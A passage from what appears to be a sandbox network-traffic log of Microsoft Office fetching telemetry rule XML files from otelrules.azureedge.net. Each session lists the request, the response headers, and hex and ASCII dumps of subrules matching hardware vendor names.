2024-11-23 16:45:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:09 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164509Z-178bfbc474bp8mkvhC1NYCzqnn00000004fg00000000gzg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:09 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:10 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:11 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164511Z-178bfbc474bq2pr7hC1NYCkfgg00000004z000000000216m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:11 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:10 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164511Z-178bfbc474bmqmgjhC1NYCy16c00000004sg00000000c9qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:10 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164511Z-178bfbc474bpscmfhC1NYCfc2c000000037g00000000ha3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:11 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:11 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: ce177898-401e-00a3-1d03-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164511Z-178bfbc474btrnf9hC1NYCb80g00000004ug00000000emmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:11 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164511Z-174c587ffdfn4nhwhC1TEB2nbc00000003ag000000005kwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:13 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:13 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164513Z-178bfbc474bmqmgjhC1NYCy16c00000004r000000000gk9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:13 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:13 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:13 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164513Z-174c587ffdf89smkhC1TEB697s000000039g000000008q8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:13 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:13 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164513Z-15b8b599d882hxlwhC1TEBfa5w000000032g00000000bkuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:13 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164513Z-174c587ffdfcb7qhhC1TEB3x7000000003b00000000046z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:13 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164513Z-178bfbc474b9fdhphC1NYCac0n00000004hg00000000mzyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:15 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164515Z-174c587ffdfb74xqhC1TEBhabc0000000390000000002uzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
